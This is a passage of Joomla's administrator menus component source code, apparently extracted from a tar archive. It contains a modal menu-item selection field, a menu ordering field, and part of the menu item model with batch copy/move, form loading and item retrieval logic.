	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->allowSelect = ((string) $this->element['select']) !== 'false';
			$this->allowClear = ((string) $this->element['clear']) !== 'false';
			$this->allowPropagate = ((string) $this->element['propagate']) === 'true';

			// Creating/editing menu items is not supported in frontend.
			$isAdministrator = JFactory::getApplication()->isClient('administrator');
			$this->allowNew = $isAdministrator ? ((string) $this->element['new']) === 'true' : false;
			$this->allowEdit = $isAdministrator ? ((string) $this->element['edit']) === 'true' : false;
		}

		return $return;
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		$clientId    = (int) $this->element['clientid'];
		$languages   = LanguageHelper::getContentLanguages(array(0, 1));

		// Load language
		JFactory::getLanguage()->load('com_menus', JPATH_ADMINISTRATOR);

		// The active article id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Create the modal id.
		$modalId = 'Item_' . $this->id;

		// Add the modal field script to the document head.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/modal-fields.js', array('version' => 'auto', 'relative' => true));

		// Script to proxy the select modal function to the modal-fields.js file.
		if ($this->allowSelect)
		{
			static $scriptSelect = null;

			if (is_null($scriptSelect))
			{
				$scriptSelect = array();
			}

			if (!isset($scriptSelect[$this->id]))
			{
				JFactory::getDocument()->addScriptDeclaration("
				function jSelectMenu_" . $this->id . "(id, title, object) {
					window.processModalSelect('Item', '" . $this->id . "', id, title, '', object);
				}
				"
				);

				JText::script('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED');

				$scriptSelect[$this->id] = true;
			}
		}

		// Setup variables for display.
		$linkSuffix = '&amp;layout=modal&amp;client_id=' . $clientId . '&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$linkItems  = 'index.php?option=com_menus&amp;view=items' . $linkSuffix;
		$linkItem   = 'index.php?option=com_menus&amp;view=item' . $linkSuffix;
		$modalTitle = JText::_('COM_MENUS_CHANGE_MENUITEM');

		if (isset($this->element['language']))
		{
			$linkItems  .= '&amp;forcedLanguage=' . $this->element['language'];
			$linkItem   .= '&amp;forcedLanguage=' . $this->element['language'];
			$modalTitle .= ' &#8212; ' . $this->element['label'];
		}

		$urlSelect = $linkItems . '&amp;function=jSelectMenu_' . $this->id;
		$urlEdit   = $linkItem . '&amp;task=item.edit&amp;id=\' + document.getElementById("' . $this->id . '_id").value + \'';
		$urlNew    = $linkItem . '&amp;task=item.add';

		if ($value)
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('title'))
				->from($db->quoteName('#__menu'))
				->where($db->quoteName('id') . ' = ' . (int) $value);

			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());
			}
		}

		// Placeholder if option is present or not
		if (empty($title))
		{
			if ($this->element->option && (string) $this->element->option['value'] == '')
			{
				$title_holder = JText::_($this->element->option);
			}
			else
			{
				$title_holder = JText::_('COM_MENUS_SELECT_A_MENUITEM');
			}
		}

		$title = empty($title) ? $title_holder : htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The current menu item display field.
		$html  = '<span class="input-append">';
		$html .= '<input class="input-medium" id="' . $this->id . '_name" type="text" value="' . $title . '" disabled="disabled" size="35" />';

		// Select menu item button
		if ($this->allowSelect)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_select"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalSelect' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_MENUS_CHANGE_MENUITEM') . '">'
				. '<span class="icon-file" aria-hidden="true"></span> ' . JText::_('JSELECT')
				. '</button>';
		}

		// New menu item button
		if ($this->allowNew)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_new"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalNew' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_MENUS_NEW_MENUITEM') . '">'
				. '<span class="icon-new" aria-hidden="true"></span> ' . JText::_('JACTION_CREATE')
				. '</button>';
		}

		// Edit menu item button
		if ($this->allowEdit)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_edit"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalEdit' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_MENUS_EDIT_MENUITEM') . '">'
				. '<span class="icon-edit" aria-hidden="true"></span> ' . JText::_('JACTION_EDIT')
				. '</button>';
		}

		// Clear menu item button
		if ($this->allowClear)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_clear"'
				. ' onclick="window.processModalParent(\'' . $this->id . '\'); return false;">'
				. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
				. '</button>';
		}

		// Propagate menu item button
		if ($this->allowPropagate && count($languages) > 2)
		{
			// Strip off language tag at the end
			$tagLength = (int) strlen($this->element['language']);
			$callbackFunctionStem = substr("jSelectMenu_" . $this->id, 0, -$tagLength);

			$html .= '<a'
			. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
			. ' id="' . $this->id . '_propagate"'
			. ' href="#"'
			. ' title="' . JHtml::tooltipText('JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP') . '"'
			. ' onclick="Joomla.propagateAssociation(\'' . $this->id . '\', \'' . $callbackFunctionStem . '\');">'
			. '<span class="icon-refresh" aria-hidden="true"></span>' . JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON')
			. '</a>';
		}

		$html .= '</span>';


		// Select menu item modal
		if ($this->allowSelect)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalSelect' . $modalId,
				array(
					'title'       => $modalTitle,
					'url'         => $urlSelect,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn" data-dismiss="modal">' . JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
				)
			);
		}

		// New menu item modal
		if ($this->allowNew)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalNew' . $modalId,
				array(
					'title'       => JText::_('COM_MENUS_NEW_MENUITEM'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlNew,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'item\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'item\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'item\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Edit menu item modal
		if ($this->allowEdit)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalEdit' . $modalId,
				array(
					'title'       => JText::_('COM_MENUS_EDIT_MENUITEM'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlEdit,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'item\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'item\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'item\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Note: class='required' for client side validation.
		$class = $this->required ? ' class="required modal-value"' : '';

		// Placeholder if option is present or not when clearing field
		if ($this->element->option && (string) $this->element->option['value'] == '')
		{
			$title_holder = JText::_($this->element->option);
		}
		else
		{
			$title_holder = JText::_('COM_MENUS_SELECT_A_MENUITEM');
		}

		$html .= '<input type="hidden" id="' . $this->id . '_id" ' . $class . ' data-required="' . (int) $this->required . '" name="' . $this->name
			. '" data-text="' . htmlspecialchars($title_holder, ENT_COMPAT, 'UTF-8') . '" value="' . $value . '" />';

		return $html;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.7.0
	 */
	protected function getLabel()
	{
		return str_replace($this->id, $this->id . '_id', parent::getLabel());
	}
}
com_menus/models/fields/menuordering.php000060400000004701152455305260014476 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Menu Ordering field.
 *
 * @since  1.6
 */
class JFormFieldMenuOrdering extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var        string
	 * @since   1.7
	 */
	protected $type = 'MenuOrdering';

	/**
	 * Method to get the list of siblings in a menu.
	 * The method requires that parent be set.
	 *
	 * @return  array  The field option objects or false if the parent field has not been set
	 *
	 * @since   1.7
	 */
	protected function getOptions()
	{
		$options = array();

		// Get the parent
		$parent_id = $this->form->getValue('parent_id', 0);

		if (empty($parent_id))
		{
			return false;
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.id AS value, a.title AS text, a.client_id AS ' . $db->quoteName('clientId'))
			->from('#__menu AS a')

			->where('a.published >= 0')
			->where('a.parent_id =' . (int) $parent_id);

		if ($menuType = $this->form->getValue('menutype'))
		{
			$query->where('a.menutype = ' . $db->quote($menuType));
		}
		else
		{
			$query->where('a.menutype != ' . $db->quote(''));
		}

		$query->order('a.lft ASC');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		// Allow translation of custom admin menus
		foreach ($options as &$option)
		{
			if ($option->clientId != 0)
			{
				$option->text = JText::_($option->text);
			}
		}

		$options = array_merge(
			array(array('value' => '-1', 'text' => JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST'))),
			$options,
			array(array('value' => '-2', 'text' => JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST')))
		);

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.7
	 */
	protected function getInput()
	{
		if ($this->form->getValue('id', 0) == 0)
		{
			return '<span class="readonly">' . JText::_('COM_MENUS_ITEM_FIELD_ORDERING_TEXT') . '</span>';
		}
		else
		{
			return parent::getInput();
		}
	}
}
com_menus/models/item.php000060400000125446152455305260011502 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

jimport('joomla.filesystem.path');
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Menu Item Model for Menus.
 *
 * @since  1.6
 */
class MenusModelItem extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var    string
	 * @since  3.4
	 */
	public $typeAlias = 'com_menus.item';

	/**
	 * The context used for the associations table
	 *
	 * @var    string
	 * @since  3.4.4
	 */
	protected $associationsContext = 'com_menus.item';

	/**
	 * @var    string  The prefix to use with controller messages.
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MENUS_ITEM';

	/**
	 * @var    string  The help screen key for the menu item.
	 * @since  1.6
	 */
	protected $helpKey = 'JHELP_MENUS_MENU_ITEM_MANAGER_EDIT';

	/**
	 * @var    string  The help screen base URL for the menu item.
	 * @since  1.6
	 */
	protected $helpURL;

	/**
	 * @var    boolean  True to use local lookup for the help screen.
	 * @since  1.6
	 */
	protected $helpLocal = false;

	/**
	 * Batch copy/move command. If set to false,
	 * the batch copy/move command is not supported
	 *
	 * @var   string
	 */
	protected $batch_copymove = 'menu_id';

	/**
	 * Allowed batch commands
	 *
	 * @var   array
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id'   => 'batchLanguage'
	);

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		$menuTypeId = 0;

		if (!empty($record->menutype))
		{
			$menuTypeId = $this->getMenuTypeId($record->menutype);
		}

		return JFactory::getUser()->authorise('core.delete', 'com_menus.menu.' . (int) $menuTypeId);
	}

	/**
	 * Method to test whether the state of a record can be edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission for the component.
	 *
	 * @since   3.6
	 */
	protected function canEditState($record)
	{
		$menuTypeId = !empty($record->menutype) ? $this->getMenuTypeId($record->menutype) : 0;
		$assetKey   = $menuTypeId ? 'com_menus.menu.' . (int) $menuTypeId : 'com_menus';

		return JFactory::getUser()->authorise('core.edit.state', $assetKey);
	}

	/**
	 * Batch copy menu items to a new menu or parent.
	 *
	 * @param   integer  $value     The new menu or sub-item.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on failure.
	 *
	 * @since   1.6
	 */
	protected function batchCopy($value, $pks, $contexts)
	{
		// $value comes as {menutype}.{parent_id}
		$parts    = explode('.', $value);
		$menuType = $parts[0];
		$parentId = ArrayHelper::getValue($parts, 1, 0, 'int');

		$table  = $this->getTable();
		$db     = $this->getDbo();
		$query  = $db->getQuery(true);
		$newIds = array();

		// Check that the parent exists
		if ($parentId)
		{
			if (!$table->load($parentId))
			{
				if ($error = $table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Non-fatal error
					$this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND'));
					$parentId = 0;
				}
			}
		}

		// If the parent is 0, set it to the ID of the root item in the tree
		if (empty($parentId))
		{
			if (!$parentId = $table->getRootId())
			{
				$this->setError($db->getErrorMsg());

				return false;
			}
		}

		// Check that user has create permission for menus
		$user = JFactory::getUser();

		$menuTypeId = (int) $this->getMenuTypeId($menuType);

		if (!$user->authorise('core.create', 'com_menus.menu.' . $menuTypeId))
		{
			$this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE'));

			return false;
		}

		// We need to log the parent ID
		$parents = array();

		// Calculate the emergency stop count as a precaution against a runaway loop bug
		$query->select('COUNT(id)')
			->from($db->quoteName('#__menu'));
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Parent exists so we let's proceed
		while (!empty($pks) && $count > 0)
		{
			// Pop the first id off the stack
			$pk = array_shift($pks);

			$table->reset();

			// Check that the row actually exists
			if (!$table->load($pk))
			{
				if ($error = $table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk));
					continue;
				}
			}

			// Copy is a bit tricky, because we also need to copy the children
			$query->clear()
				->select('id')
				->from($db->quoteName('#__menu'))
				->where('lft > ' . (int) $table->lft)
				->where('rgt < ' . (int) $table->rgt);
			$db->setQuery($query);
			$childIds = $db->loadColumn();

			// Add child ID's to the array only if they aren't already there.
			foreach ($childIds as $childId)
			{
				if (!in_array($childId, $pks))
				{
					$pks[] = $childId;
				}
			}

			// Make a copy of the old ID and Parent ID
			$oldId = $table->id;
			$oldParentId = $table->parent_id;

			// Reset the id because we are making a copy.
			$table->id = 0;

			// If we a copying children, the Old ID will turn up in the parents list
			// otherwise it's a new top level item
			$table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId;
			$table->menutype = $menuType;

			// Set the new location in the tree for the node.
			$table->setLocation($table->parent_id, 'last-child');

			// TODO: Deal with ordering?
			// $table->ordering = 1;
			$table->level = null;
			$table->lft   = null;
			$table->rgt   = null;
			$table->home  = 0;

			// Alter the title & alias
			list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title);
			$table->title = $title;
			$table->alias = $alias;

			// Check the row.
			if (!$table->check())
			{
				$this->setError($table->getError());

				return false;
			}

			// Store the row.
			if (!$table->store())
			{
				$this->setError($table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;

			// Now we log the old 'parent' to the new 'parent'
			$parents[$oldId] = $table->id;
			$count--;
		}

		// Rebuild the hierarchy.
		if (!$table->rebuild())
		{
			$this->setError($table->getError());

			return false;
		}

		// Rebuild the tree path.
		if (!$table->rebuildPath($table->id))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move menu items to a new menu or parent.
	 *
	 * @param   integer  $value     The new menu or sub-item.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	protected function batchMove($value, $pks, $contexts)
	{
		// $value comes as {menutype}.{parent_id}
		$parts    = explode('.', $value);
		$menuType = $parts[0];
		$parentId = ArrayHelper::getValue($parts, 1, 0, 'int');

		$table = $this->getTable();
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Check that the parent exists.
		if ($parentId)
		{
			if (!$table->load($parentId))
			{
				if ($error = $table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Non-fatal error
					$this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND'));
					$parentId = 0;
				}
			}
		}

		// Check that user has create and edit permission for menus
		$user = JFactory::getUser();

		$menuTypeId = (int) $this->getMenuTypeId($menuType);

		if (!$user->authorise('core.create', 'com_menus.menu.' . $menuTypeId))
		{
			$this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE'));

			return false;
		}

		if (!$user->authorise('core.edit', 'com_menus.menu.' . $menuTypeId))
		{
			$this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT'));

			return false;
		}

		// We are going to store all the children and just moved the menutype
		$children = array();

		// Parent exists so we let's proceed
		foreach ($pks as $pk)
		{
			// Check that the row actually exists
			if (!$table->load($pk))
			{
				if ($error = $table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk));
					continue;
				}
			}

			// Set the new location in the tree for the node.
			$table->setLocation($parentId, 'last-child');

			// Set the new Parent Id
			$table->parent_id = $parentId;

			// Check if we are moving to a different menu
			if ($menuType != $table->menutype)
			{
				// Add the child node ids to the children array.
				$query->clear()
					->select($db->quoteName('id'))
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('lft') . ' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt);
				$db->setQuery($query);
				$children = array_merge($children, (array) $db->loadColumn());
			}

			// Check the row.
			if (!$table->check())
			{
				$this->setError($table->getError());

				return false;
			}

			// Store the row.
			if (!$table->store())
			{
				$this->setError($table->getError());

				return false;
			}

			// Rebuild the tree path.
			if (!$table->rebuildPath())
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Process the child rows
		if (!empty($children))
		{
			// Remove any duplicates and sanitize ids.
			$children = array_unique($children);
			$children = ArrayHelper::toInteger($children);

			// Update the menutype field in all nodes where necessary.
			$query->clear()
				->update($db->quoteName('#__menu'))
				->set($db->quoteName('menutype') . ' = ' . $db->quote($menuType))
				->where($db->quoteName('id') . ' IN (' . implode(',', $children) . ')');
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to check if you can save a record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function canSave($data = array(), $key = 'id')
	{
		return JFactory::getUser()->authorise('core.edit', $this->option);
	}

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// The folder and element vars are passed when saving the form.
		if (empty($data))
		{
			$item = $this->getItem();

			// The type should already be set.
			$this->setState('item.link', $item->link);
		}
		else
		{
			$this->setState('item.link', ArrayHelper::getValue($data, 'link'));
			$this->setState('item.type', ArrayHelper::getValue($data, 'type'));
		}

		$clientId = $this->getState('item.client_id');

		// Get the form.
		if ($clientId == 1)
		{
			$form = $this->loadForm('com_menus.item.admin', 'itemadmin', array('control' => 'jform', 'load_data' => $loadData), true);
		}
		else
		{
			$form = $this->loadForm('com_menus.item', 'item', array('control' => 'jform', 'load_data' => $loadData), true);
		}

		if (empty($form))
		{
			return false;
		}

		if ($loadData)
		{
			$data = $this->loadFormData();
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('menuordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is an article you can edit.
			$form->setFieldAttribute('menuordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
		}

		// Filter available menus
		$action = $this->getState('item.id') > 0 ? 'edit' : 'create';

		$form->setFieldAttribute('menutype', 'accesstype', $action);
		$form->setFieldAttribute('type', 'clientid', $clientId);

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{

		// Check the session for previously entered form data, providing it has an ID and it is the same.
		$itemData = (array) $this->getItem();
		$sessionData = (array) JFactory::getApplication()->getUserState('com_menus.edit.item.data', array());

		// Only merge if there is a session and itemId or itemid is null.
		if (isset($sessionData['id']) && isset($itemData['id']) && $sessionData['id'] === $itemData['id']
			|| is_null($itemData['id']))
		{
			$data = array_merge($itemData, $sessionData);
		}
		else
		{
			$data = $itemData;
		}

		// For a new menu item, pre-select some filters (Status, Language, Access) in edit form if those have been selected in Menu Manager
		if ($this->getItem()->id == 0)
		{
			// Get selected fields
			$filters = JFactory::getApplication()->getUserState('com_menus.items.filter');
			$data['parent_id'] = (isset($filters['parent_id']) ? $filters['parent_id'] : null);
			$data['published'] = (isset($filters['published']) ? $filters['published'] : null);
			$data['language'] = (isset($filters['language']) ? $filters['language'] : null);
			$data['access'] = (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access'));
		}

		if (isset($data['menutype']) && !$this->getState('item.menutypeid'))
		{
			$menuTypeId = (int) $this->getMenuTypeId($data['menutype']);

			$this->setState('item.menutypeid', $menuTypeId);
		}

		$data = (object) $data;

		$this->preprocessData('com_menus.item', $data);

		return $data;
	}

	/**
	 * Get the necessary data to load an item help screen.
	 *
	 * @return  object  An object with key, url, and local properties for loading the item help screen.
	 *
	 * @since   1.6
	 */
	public function getHelp()
	{
		return (object) array('key' => $this->helpKey, 'url' => $this->helpURL, 'local' => $this->helpLocal);
	}

	/**
	 * Method to get a menu item.
	 *
	 * @param   integer  $pk  An optional id of the object to get, otherwise the id from the model state is used.
	 *
	 * @return  mixed  Menu item data object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		$pk = (!empty($pk)) ? $pk : (int) $this->getState('item.id');

		// Get a level row instance.
		$table = $this->getTable();

		// Attempt to load the row.
		$table->load($pk);

		// Check for a table object error.
		if ($error = $table->getError())
		{
			$this->setError($error);

			return false;
		}

		// Prime required properties.

		if ($type = $this->getState('item.type'))
		{
			$table->type = $type;
		}

		if (empty($table->id))
		{
			$table->parent_id = $this->getState('item.parent_id');
			$table->menutype  = $this->getState('item.menutype');
			$table->client_id = $this->getState('item.client_id');
			$table->params = '{}';
		}

		// If the link has been set in the state, possibly changing link type.
		if ($link = $this->getState('item.link'))
		{
			// Check if we are changing away from the actual link type.
			if (MenusHelper::getLinkKey($table->link) !== MenusHelper::getLinkKey($link) && (int) $table->id === (int) $this->getState('item.id'))
			{
				$table->link = $link;
			}
		}

		switch ($table->type)
		{
			case 'alias':
				$table->component_id = 0;
				$args = array();

				parse_str(parse_url($table->link, PHP_URL_QUERY), $args);
				break;

			case 'separator':
			case 'heading':
			case 'container':
				$table->link = '';
				$table->component_id = 0;
				break;

			case 'url':
				$table->component_id = 0;

				$args = array();
				parse_str(parse_url($table->link, PHP_URL_QUERY), $args);
				break;

			case 'component':
			default:
				// Enforce a valid type.
				$table->type = 'component';

				// Ensure the integrity of the component_id field is maintained, particularly when changing the menu item type.
				$args = array();
				parse_str(parse_url($table->link, PHP_URL_QUERY), $args);

				if (isset($args['option']))
				{
					// Load the language file for the component.
					$lang = JFactory::getLanguage();
					$lang->load($args['option'], JPATH_ADMINISTRATOR, null, false, true)
					|| $lang->load($args['option'], JPATH_ADMINISTRATOR . '/components/' . $args['option'], null, false, true);

					// Determine the component id.
					$component = JComponentHelper::getComponent($args['option']);

					if (isset($component->id))
					{
						$table->component_id = $component->id;
					}
				}
				break;
		}

		// We have a valid type, inject it into the state for forms to use.
		$this->setState('item.type', $table->type);

		// Convert to the JObject before adding the params.
		$properties = $table->getProperties(1);
		$result = ArrayHelper::toObject($properties);

		// Convert the params field to an array.
		$registry = new Registry($table->params);
		$result->params = $registry->toArray();

		// Merge the request arguments in to the params for a component.
		if ($table->type == 'component')
		{
			// Note that all request arguments become reserved parameter names.
			$result->request = $args;
			$result->params = array_merge($result->params, $args);

			// Special case for the Login menu item.
			// Display the login or logout redirect URL fields if not empty
			if ($table->link == 'index.php?option=com_users&view=login')
			{
				if (!empty($result->params['login_redirect_url']))
				{
					$result->params['loginredirectchoice'] = '0';
				}

				if (!empty($result->params['logout_redirect_url']))
				{
					$result->params['logoutredirectchoice'] = '0';
				}
			}
		}

		if ($table->type == 'alias')
		{
			// Note that all request arguments become reserved parameter names.
			$result->params = array_merge($result->params, $args);
		}

		if ($table->type == 'url')
		{
			// Note that all request arguments become reserved parameter names.
			$result->params = array_merge($result->params, $args);
		}

		// Load associated menu items, only supported for frontend for now
		if ($this->getState('item.client_id') == 0 && JLanguageAssociations::isEnabled())
		{
			if ($pk != null)
			{
				$result->associations = MenusHelper::getAssociations($pk);
			}
			else
			{
				$result->associations = array();
			}
		}

		$result->menuordering = $pk;

		return $result;
	}

	/**
	 * Get the list of modules not in trash.
	 *
	 * @return  mixed  An array of module records (id, title, position), or false on error.
	 *
	 * @since   1.6
	 */
	public function getModules()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Currently any setting that affects target page for a backend menu is not supported, hence load no modules.
		if ($this->getState('item.client_id') == 1)
		{
			return false;
		}

		/**
		 * Join on the module-to-menu mapping table.
		 * We are only interested if the module is displayed on ALL or THIS menu item (or the inverse ID number).
		 * sqlsrv changes for modulelink to menu manager
		 */
		$query->select('a.id, a.title, a.position, a.published, map.menuid')
			->from('#__modules AS a')
			->join('LEFT', sprintf('#__modules_menu AS map ON map.moduleid = a.id AND map.menuid IN (0, %1$d, -%1$d)', $this->getState('item.id')))
			->select('(SELECT COUNT(*) FROM #__modules_menu WHERE moduleid = a.id AND menuid < 0) AS ' . $db->quoteName('except'));

		// Join on the asset groups table.
		$query->select('ag.title AS access_title')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access')
			->where('a.published >= 0')
			->where('a.client_id = ' . (int) $this->getState('item.client_id'))
			->order('a.position, a.ordering');

		$db->setQuery($query);

		try
		{
			$result = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return $result;
	}

	/**
	 * Get the list of all view levels
	 *
	 * @return  array|boolean  An array of all view levels (id, title).
	 *
